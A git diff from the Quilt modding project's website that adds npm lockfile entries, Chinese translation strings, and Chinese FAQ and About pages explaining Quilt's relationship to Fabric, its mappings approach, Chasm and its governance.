}, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", + "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/untildify": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz", + "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz", + "integrity": "sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "node_modules/uvu": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/uvu/-/uvu-0.5.6.tgz", + "integrity": "sha512-+g8ENReyr8YsOc6fv/NVJs2vFdHBnBNdfE49rshrTzDWOlUx4Gq7KOS2GD8eqhy2j+Ejq29+SbKH8yjkAqXqoA==", + "dev": true, + "dependencies": { + "dequal": "^2.0.0", + "diff": "^5.0.0", + "kleur": "^4.0.3", + "sade": "^1.7.3" + }, + "bin": { + "uvu": "bin.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/vfile": { + "version": "5.3.7", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-5.3.7.tgz", + "integrity": "sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "is-buffer": "^2.0.0", + "unist-util-stringify-position": "^3.0.0", + "vfile-message": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-location": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-4.1.0.tgz", + "integrity": "sha512-YF23YMyASIIJXpktBa4vIGLJ5Gs88UB/XePgqPmTa7cDA+JeO3yclbpheQYCHjVHBn/yePzrXuygIL+xbvRYHw==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "vfile": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", + "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-stringify-position": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vite": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/vite/-/vite-3.2.7.tgz", + "integrity": "sha512-29pdXjk49xAP0QBr0xXqu2s5jiQIXNvE/xwd0vUizYT2Hzqe4BksNNoWllFVXJf4eLZ+UlVQmXfB4lWrc+t18g==", + "dev": true, + "dependencies": { + "esbuild": "^0.15.9", + "postcss": "^8.4.18", + "resolve": "^1.22.1", + "rollup": "^2.79.1" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + }, + "peerDependencies": { + "@types/node": ">= 14", + "less": "*", + "sass": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "sass": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/vite/node_modules/rollup": { + "version": "2.79.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.79.1.tgz", + "integrity": "sha512-uKxbd0IhMZOhjAiD5oAFp7BqvkA4Dv47qpOCtaNvng4HBwdbWtdOh8f5nZNuk2rp51PMGk3bzfWu5oayNEuYnw==", + "dev": true, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=10.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/vitefu": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/vitefu/-/vitefu-0.2.4.tgz", + "integrity": "sha512-fanAXjSaf9xXtOOeno8wZXIhgia+CZury481LsDaV++lSvcU2R9Ch2bPh3PYFyoHW+w9LqAeYRISVQjUIew14g==", + "dev": true, + "peerDependencies": { + "vite": "^3.0.0 || ^4.0.0" + }, + "peerDependenciesMeta": { + "vite": { + "optional": true + } + } + }, + "node_modules/vscode-css-languageservice": { + "version": "6.2.6", + "resolved": "https://registry.npmjs.org/vscode-css-languageservice/-/vscode-css-languageservice-6.2.6.tgz", + "integrity": "sha512-SA2WkeOecIpUiEbZnjOsP/fI5CRITZEiQGSHXKiDQDwLApfKcnLhZwMtOBbIifSzESVcQa7b/shX/nbnF4NoCg==", + "dev": true, + "dependencies": { + "@vscode/l10n": "^0.0.14", + "vscode-languageserver-textdocument": "^1.0.8", + "vscode-languageserver-types": "^3.17.3", + "vscode-uri": "^3.0.7" + } + }, + "node_modules/vscode-html-languageservice": { + "version": "5.0.6", + "resolved": "https://registry.npmjs.org/vscode-html-languageservice/-/vscode-html-languageservice-5.0.6.tgz", + "integrity": "sha512-gCixNg6fjPO7+kwSMBAVXcwDRHdjz1WOyNfI0n5Wx0J7dfHG8ggb3zD1FI8E2daTZrwS1cooOiSoc1Xxph4qRQ==", + "dev": true, + "dependencies": { + "@vscode/l10n": "^0.0.14", + "vscode-languageserver-textdocument": "^1.0.8", + "vscode-languageserver-types": "^3.17.3", + "vscode-uri": "^3.0.7" + } + }, + "node_modules/vscode-jsonrpc": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/vscode-jsonrpc/-/vscode-jsonrpc-8.1.0.tgz", + "integrity": "sha512-6TDy/abTQk+zDGYazgbIPc+4JoXdwC8NHU9Pbn4UJP1fehUyZmM4RHp5IthX7A6L5KS30PRui+j+tbbMMMafdw==", + "dev": true, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/vscode-languageserver": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/vscode-languageserver/-/vscode-languageserver-8.1.0.tgz", + "integrity": "sha512-eUt8f1z2N2IEUDBsKaNapkz7jl5QpskN2Y0G01T/ItMxBxw1fJwvtySGB9QMecatne8jFIWJGWI61dWjyTLQsw==", + "dev": true, + "dependencies": { + "vscode-languageserver-protocol": "3.17.3" + }, + "bin": { + "installServerIntoExtension": "bin/installServerIntoExtension" + } + }, + "node_modules/vscode-languageserver-protocol": { + "version": "3.17.3", + "resolved": "https://registry.npmjs.org/vscode-languageserver-protocol/-/vscode-languageserver-protocol-3.17.3.tgz", + "integrity": "sha512-924/h0AqsMtA5yK22GgMtCYiMdCOtWTSGgUOkgEDX+wk2b0x4sAfLiO4NxBxqbiVtz7K7/1/RgVrVI0NClZwqA==", + "dev": true, + "dependencies": { + "vscode-jsonrpc": "8.1.0", + "vscode-languageserver-types": "3.17.3" + } + }, + "node_modules/vscode-languageserver-textdocument": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/vscode-languageserver-textdocument/-/vscode-languageserver-textdocument-1.0.8.tgz", + "integrity": "sha512-1bonkGqQs5/fxGT5UchTgjGVnfysL0O8v1AYMBjqTbWQTFn721zaPGDYFkOKtfDgFiSgXM3KwaG3FMGfW4Ed9Q==", + "dev": true + }, + "node_modules/vscode-languageserver-types": { + "version": "3.17.3", + "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.17.3.tgz", + "integrity": "sha512-SYU4z1dL0PyIMd4Vj8YOqFvHu7Hz/enbWtpfnVbJHU4Nd1YNYx8u0ennumc6h48GQNeOLxmwySmnADouT/AuZA==", + "dev": true + }, + "node_modules/vscode-oniguruma": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/vscode-oniguruma/-/vscode-oniguruma-1.7.0.tgz", + "integrity": "sha512-L9WMGRfrjOhgHSdOYgCt/yRMsXzLDJSL7BPrOZt73gU0iWO4mpqzqQzOz5srxqTvMBaR0XZTSrVWo4j55Rc6cA==", + "dev": true + }, + "node_modules/vscode-textmate": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/vscode-textmate/-/vscode-textmate-6.0.0.tgz", + "integrity": "sha512-gu73tuZfJgu+mvCSy4UZwd2JXykjK9zAZsfmDeut5dx/1a7FeTk0XwJsSuqQn+cuMCGVbIBfl+s53X4T19DnzQ==", + "dev": true + }, + "node_modules/vscode-uri": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/vscode-uri/-/vscode-uri-3.0.7.tgz", + "integrity": "sha512-eOpPHogvorZRobNqJGhapa0JdwaxpjVvyBp0QIUMRMSf8ZAlqOdEquKuRmw9Qwu0qXtJIWqFtMkmvJjUZmMjVA==", + "dev": true + }, + "node_modules/wcwidth": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", + "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==", + "dev": true, + "dependencies": { + "defaults": "^1.0.3" + } + }, + "node_modules/web-namespaces": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/web-namespaces/-/web-namespaces-2.0.1.tgz", + "integrity": "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/web-streams-polyfill": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.2.1.tgz", + "integrity": "sha512-e0MO3wdXWKrLbL0DgGnUV7WHVuw9OUvL4hjgnPkIeEvESk74gAITi5G606JtZPp39cd8HA9VQzCIvA49LpPN5Q==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-pm": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/which-pm/-/which-pm-2.0.0.tgz", + "integrity": "sha512-Lhs9Pmyph0p5n5Z3mVnN0yWcbQYUAD7rbQUiMsQxOJ3T57k7RFe35SUwWMf7dsbDZks1uOmw4AecB/JMDj3v/w==", + "dev": true, + "dependencies": { + "load-yaml-file": "^0.2.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8.15" + } + }, + "node_modules/which-pm-runs": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/which-pm-runs/-/which-pm-runs-1.1.0.tgz", + "integrity": "sha512-n1brCuqClxfFfq/Rb0ICg9giSZqCS+pLtccdag6C2HyufBrh3fBOiy9nb6ggRMvWOVH5GrdJskj5iGTZNxd7SA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/widest-line": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-4.0.1.tgz", + "integrity": "sha512-o0cyEG0e8GPzT4iGHphIOh0cJOV8fivsXxddQasHPHfoZf1ZexrfeA21w2NaEN1RHE+fXlfISmOE8R9N3u3Qig==", + "dev": true, + "dependencies": { + "string-width": "^5.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", + "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zod": { + "version": "3.21.4", + "resolved": "https://registry.npmjs.org/zod/-/zod-3.21.4.tgz", + "integrity": "sha512-m46AKbrzKVzOzs/DZgVnG5H55N1sv1M8qZU3A8RIKbs3mrACDNeIOeilDymVb2HdmP8uwshOCF4uJ8uM9rCqJw==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/zwitch": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz", + "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + } + } +} diff --git a/src/locales/zh/common.flt b/src/locales/zh/common.flt index 8c57c2895..b5338192e 100644 --- a/src/locales/zh/common.flt +++ b/src/locales/zh/common.flt @@ -1,6 +1,6 @@ lang-name = 简体中文 -title = The Quilt Project +title = Quilt 项目 short-title = QuiltMC description = 真正关心你的模组加载器。 @@ -11,7 +11,9 @@ serial-comma = {$prev}、{$next} -developer-wiki = 开发者 Wiki -forum = 论坛 -import-utility = Quilt 导入工具 +-help-wanted = 需要帮助 -patch-notes = 更新日志 +-sponsors = 赞助商 -staff-resources = 内部资源 -template-mod = 模组模板 @@ -22,7 +24,15 @@ serial-comma = {$prev}、{$next} -twitter = Twitter -twitch = Twitch -page-authors = 作者:{$names} +page-authors = + { $count -> + [one] Author + *[other] Authors + }: {$names} +page-edited = 编辑于:{DATETIME($date, month: "long", year: "numeric", day: "numeric")} +post-date = {DATETIME($date, month: "long", year: "numeric", day: "numeric")} +edit-on-github = 在 GitHub 上编辑这个页面 + nav-about = 关于 nav-blog = 博客 @@ -36,24 +46,30 @@ divider-external-links = 外部链接 nav-page-developer-wiki = {-developer-wiki} nav-page-import-utility = {-import-utility} -nav-page-maven-repo = Maven 库 +nav-page-maven-repo = Maven 仓库 nav-page-help-wanted = {-help-wanted} nav-page-patch-notes = {-patch-notes} +nav-page-sponsors = {-sponsors} nav-page-staff-resources = {-staff-resources} nav-page-template-mod = {-template-mod} +nav-page-legal = 准则 +nav-page-donate = 捐赠 button-close = 关闭 button-discord = {-discord} -button-discord-toolchain = 开发服务器 +button-discord-toolchain = 工具链 button-developer-wiki = {-developer-wiki} +button-donate = 捐赠 button-forum = {-forum} button-github = {-github} button-install = 安装 +button-join-npo = Join The Non-Profit button-mastodon = {-mastodon} button-maven-repo = Maven 库 button-more = 更多 button-more-posts = 更多文章 button-help-wanted = {-help-wanted} +button-official-site = 官方网站 button-patch-notes = Minecraft {-patch-notes} button-rss = RSS button-template-mod = {-template-mod} @@ -64,6 +80,7 @@ button-usage-docs = 使用文档 sidebar-pages = 页面 sidebar-resources = 资源 sidebar-teams = 团队 +sidebar-versions = 版本 paginator-button-first = 第一页 paginator-button-previous = 上页 @@ -77,5 +94,6 @@ prompt-error-noscript = 你已禁用 JavaScript。请启用 JavaScript 以使用 prompt-search-language = 在这里查找你的语言…… page-404 = 404 -page-404-title = 页面失踪了 :( +page-404-title = 页面未找到 :( page-404-subtitle = 找不到你要访问的页面 orz +page-404-image-title = Sad Pineapple :( diff --git a/src/locales/zh/footer.flt b/src/locales/zh/footer.flt index 9b5c3d02b..f1150dcd1 100644 --- a/src/locales/zh/footer.flt +++ b/src/locales/zh/footer.flt @@ -8,3 +8,6 @@ disclaimer-icons = # NOTE: <0> is the pineapple emote. made-with = 制作中使用了 <0> 、<1>Bulma、以及 <2>CreativeBulma 插件 + +sponsored-by = + Powered by <0>Cloudflare. diff --git a/src/pages/zh/about/faq-devs.mdx b/src/pages/zh/about/faq-devs.mdx new file mode 100644 index 000000000..c211e19f7 --- /dev/null +++ b/src/pages/zh/about/faq-devs.mdx @@ -0,0 +1,76 @@ +--- +title: FAQ (Developers) +description: Frequently asked questions, but for developers. +layout: /src/layouts/Page.astro +--- + +import Message from "@atoms/Message.astro"; + + + +## 开发者文档在哪里? + +Quilt 的开发者文档目前还处于极为初步的阶段,远未达到可用的状态。然而,我们正在努力完善,并且您可以在[modder.wiki.quiltmc.org](https://modder.wiki.quiltmc.org)上预览到目前为止的内容。 + + + +## 为什么我应该选择 Quilt 而不是 Fabric 进行我的模组开发? + +对于开发者来说,Quilt 相比于 Fabric 提供了以下优势: + +- 更全面的 API,可以更快、更轻松地开发兼容性更好的模组 +- 模块化的 API 方法也适用于您的模组,无需将 API 模块以 jar-in-jar 方式打包,也不需要让用户单独下载它们 +- 改进的反编译器(相较于[Fabric 的 Fernflower 分支](https://github.com/FabricMC/intellij-fernflower)),提供了更可读、更准确、更易理解的输出,让您更好地了解 Minecraft 的代码 +- 对映射的替代方法,基于 Yarn 但移除了清空规则,可以提供更准确的命名,而不影响质量,同时在使用不同映射集时更容易在官方渠道寻求支持 +- 更注重社区的方法,确保每个人在提出问题和发表意见时都能被听到,无论他们是开发者的数量还是知名度如何 +- **未来目标:**一种新的碰撞处理 ASM 后端(Chasm),它作为我们 mixin 和访问拓展实现的支撑,使这些和其他字节码操作工具能够在 Quilt 的构建工具或加载器中无需特殊处理而正常工作,并帮助模组保持互相兼容 + + + + + +## 什么是所谓的无干扰(clean-room)方法,为什么它很重要? + +当谈到**无干扰(clean-room)**时,我们指的是[Fabric 的 Yarn 映射项目](https://github.com/FabricMC/yarn)采取的一种特定贡献方法。Yarn 采用一种方法来确保项目的安全性,拒绝明显受到其他映射项目(如 MCP 和 Mojang 官方映射)名称启发的名称。它还阻止贡献者查看其他映射项目的名称,并要求在 Fabric 的官方社区空间中的讨论不涉及非 Yarn 名称。 + +然而,Quilt Mappings(以下简称 QM)采取了不同的方法。由于该项目使用[知识共享零许可证](https://creativecommons.org/share-your-work/public-domain/cc0)(与 Yarn 类似),QM 明确表示不主张对这些名称拥有所有权,而是对可能派生自其他映射项目的任何贡献的名称保留了相应的所有权。此外,QM 还包含明确显示某些名称的所有权可能属于其他映射项目(并提供适当的致谢)的许可通知等,这使得 QM 的贡献者可以参考其他映射项目来确定某个名称的最佳选择。这也意味着我们不必在官方社区空间中禁止涉及其他项目名称的讨论。 + +然而值得注意的是,**某个名称出现在其他映射项目中并不意味着我们会接受它**。所有贡献的名称都必须能够独立自立,无论 Mojang 或其他组织提供什么名称。 + + + + + +## 移植我的 Fabric 模组有多难? + +我们计划尽可能减少这个过渡带来的不便。我们将匹配 Fabric 的 API 表面,允许您继续使用 Yarn 的映射,并为正在移植其模组的开发人员提供支持。值得注意的是,在撰写本文时,Quilt 的向后兼容性工作支持包含 mixin 插件(例如用于条件混入)的 Fabric 模组,但一旦[Chasm](#what-the-heck-is-chasm-exactly)添加到工具链中,这种支持将不再存在。Quilt 将提供一种具有适当工具链支持的替代方法,并且我们将帮助您找到如何切换到该方法的方式,如果您需要支持的话。 + + + + + +## 加载 Fabric mod 的向后兼容性能持续多久? + +只要保持与 Fabric 的兼容性不会对项目产生负面影响,我们将继续这样做。但是,如果维护兼容性变得不可行,我们将帮助将其转移到一个由社区运行的项目,并为其开发人员提供所需的支持,以便他们可以继续工作。 + +简而言之,向后兼容性将一直持续到无法继续维护为止。 + + + + + +## 如何开始编写 Quilt 模组? + +虽然我们目前仍在努力完善开发者文档,但我们有一个[模板模组](https://github.com/QuiltMC/quilt-template-mod),您可以将其用作模板,或者仅用作入门参考。我们将在测试期间和之后继续完善文档,敬请关注! + + + +## 到底什么是 Chasm? + +Chasm 是**碰撞处理 ASM(Collision Handling ASM)**的缩写。Chasm 是一个字节码转换库,作为一个后端用于通过单独的前端使用,而不是供模组直接使用。它旨在提供一种更安全的运行时修改字节码的方式,自动处理碰撞并努力帮助模组保持兼容性。 + +使用 Chasm 的前端包括 Access Widener 和 Mixin。然而,Quilt 或社区也可以编写其他额外的前端。 + +目前 Chasm 尚未实现,但我们正在努力开发中! + + diff --git a/src/pages/zh/about/faq.mdx b/src/pages/zh/about/faq.mdx new file mode 100644 index 000000000..2fc51b083 --- /dev/null +++ b/src/pages/zh/about/faq.mdx @@ -0,0 +1,132 @@ +--- +title: FAQ +description: Frequently asked questions, for the burning topics that need addressing regularly. +layout: /src/layouts/Page.astro +--- + +import Message from "@atoms/Message.astro"; + +# 常见问题 + + + +## 什么是 Quilt? + +Quilt 是一个主要用于 Minecraft 的模组工具链,它是从 Fabric 项目中分叉出来的,主要是由于对治理、项目管理和管理规范的关注。您可以在[关于我们页面](/zh/about)上了解更多关于 Quilt 项目以及它的来源。 + + + + + +## Quilt 分叉了 Fabric 的哪些部分? + +全部都分叉了。Quilt 是 Fabric 的一个硬分叉,并且我们的目标是分叉和维护所有必要的项目,以便独立存在。 + + + + + +## 为什么我应该使用 Quilt? + +对于用户来说,Quilt 提供以下优势: + +- 模组之间应该更加兼容,尽管它们使用了强大的模组工具 +- 兼容 Fabric 和 Quilt 模组,这意味着您无需停止使用您喜爱的模组 +- 开放、透明和友好的官方社区,关心社会问题,拥有经验丰富的团队,并与用户一起不断改进 +- **未来目标:** 自动下载 Quilt 的库(可以禁用),这样您始终会有确切且仅需所需的库来使您的模组正常工作 + + + + +## 如何支持 Quilt? + +如果您想帮助我们,以下是一些我们想到的方式: + +- 加入[我们的社区空间](/zh/community),参与讨论并提供您的意见 +- 对我们在 GitHub 上的项目进行贡献,可以直接参与代码编写,也可以提供审核和意见 +- 支持其他使用 Quilt 或 Quilt 工具和库的项目 +- 在社交媒体上谈论 Quilt(负责任地) + +最重要的是,即使只是使用 Quilt 或在我们的社区空间中参与讨论,这对我们也是有帮助的。我们欢迎各种活动、意见和贡献! + + + +# 使用问题 + + + +## Quilt 能加载 Forge 模组吗? + +不,Quilt 无法加载 Forge 模组,也不计划支持此功能。有一些第三方项目(如 Patchwork)计划添加此功能,但它们不由 Quilt 维护,并且它们不属于 Quilt 项目的一部分。 + + + + + +## Quilt 能加载 Fabric 模组吗? + +在大多数情况下,是的。由于 Quilt 是基于 Fabric 进行的分支,大多数 Fabric 模组应与 Quilt 兼容。只要维护 Fabric 兼容性不会对项目产生负面影响,我们将继续支持。但如果到了无法维护的地步,我们将帮助将其移至一个由社区运营的项目,并为开发人员提供他们继续工作所需的支持。 + +需要注意的是,截至目前,Quilt 支持包含 mixin 插件的 Fabric 模组,但这在将来将会改变。这并不是一个主要问题,因为绝大多数模组都不使用 mixin 插件,但我们将乐意与需要在 Quilt 上使用其他方法的模组开发者合作。 + + + + + +## 如果我使用 Fabric 模组,是否需要安装 Fabric API? + +**不需要** - 实际上,出于兼容性的考虑,我们建议不要安装 Fabric API。 + +许多 Quilt 模组使用 Quilt Standard Libraries(QSL),而这些库与 Fabric API 直接不兼容。为了解决这个问题,QSL 包含了一个特殊版本的 Fabric API,它不会产生冲突 - 它是标准的 QSL 发行版的一部分,您可以从 [Modrinth](https://modrinth.com/mod/qsl) 下载。 + +只要 Fabric 模组正确地使用了来自 Fabric API 的预期公共 API,它们应该与 QSL 正常工作。 + + + + + +## Fabric 能加载 Quilt 模组吗? + +不行。Quilt 模组与 Fabric 模组是不同的,并且不以相同的方式定义。 + + + + + +## Quilt 何时发布? + +Quilt 的第一个 beta 版本于 2022 年 4 月 20 日发布,自那时以来我们一直在全力以赴! + +如果您想尝试 Quilt,请查看[安装页面](/zh/install)。 [](https://www.youtube.com/watch?v=DJfg39WkMvE) + + + +# 管理问题 + + + +## Quilt 的组织结构是什么样的? + +Quilt 的人员分为三个不同的团队: + +- 管理委员会(Admin Board),负责监督项目的发展方向,管理 GitHub 的权限,并决定投票的结果 +- 社区团队(Community Team),负责社区管理和监管任务,以及社交媒体账户和公共关系 +- 开发团队,负责独立监督分配给他们的特定项目 + +在这三个团队之间,结构基本上是平等的 - 没有一个团队有绝对决策权。此外,社区团队没有对任何官方社区空间的直接所有权,它在一个无关的、选举产生的关键持有人的监督下进行工作。 + +您可以在[关于我们页面](/zh/about/#governance)的治理部分了解更多信息。 + + + + + +## 什么是 RFC?它们是如何工作的? + +**RFC** 是 **R**equest **F**or **C**omments 的缩写。RFC 过程指的是在实施之前,社区创建、讨论和批准重要的流程和政策变更、技术标准和定义的系统。这是通过创建详细说明提案内容和理由的长篇文档来实现的。 + +RFC 通过向 [GitHub 上的 RFC 仓库](https://github.com/QuiltMC/rfcs) 提交拉取请求来提出。RFC 的编号与拉取请求的编号相对应(除非是修订)。任何人都可以提交提案,但我们建议有意提交提案的人在 Discord 上与我们进行讨论,或在 GitHub 上提出问题。 + +Quilt 的 RFC 过程在 [RFC 0001: The RFC Process](https://github.com/QuiltMC/rfcs/blob/master/structure/0001-rfc-process.md) 中有详细记录。 + + diff --git a/src/pages/zh/about/index.mdx b/src/pages/zh/about/index.mdx new file mode 100644 index 000000000..736b08582 --- /dev/null +++ b/src/pages/zh/about/index.mdx @@ -0,0 +1,29 @@ +--- +title: About Us +description: Learn about where Quilt came from, how its governance works, and how to get involved in structural changes. +layout: /src/layouts/Page.astro +--- + +Quilt 是一个面向 Minecraft 的模组加载器项目。它由 Fabric 项目的用户和贡献者创建,作为解决该项目引发的争议和问题的最后手段。由于 Fabric 具有坚实的技术基础,并且在很多方面做得很好,Quilt 的创始人决定最好的选择是采取标准的开源方法来解决管理上的分歧 - 他们将 Fabric 项目分叉为一个新的模组加载器项目,并考虑了以下几个想法: + +- 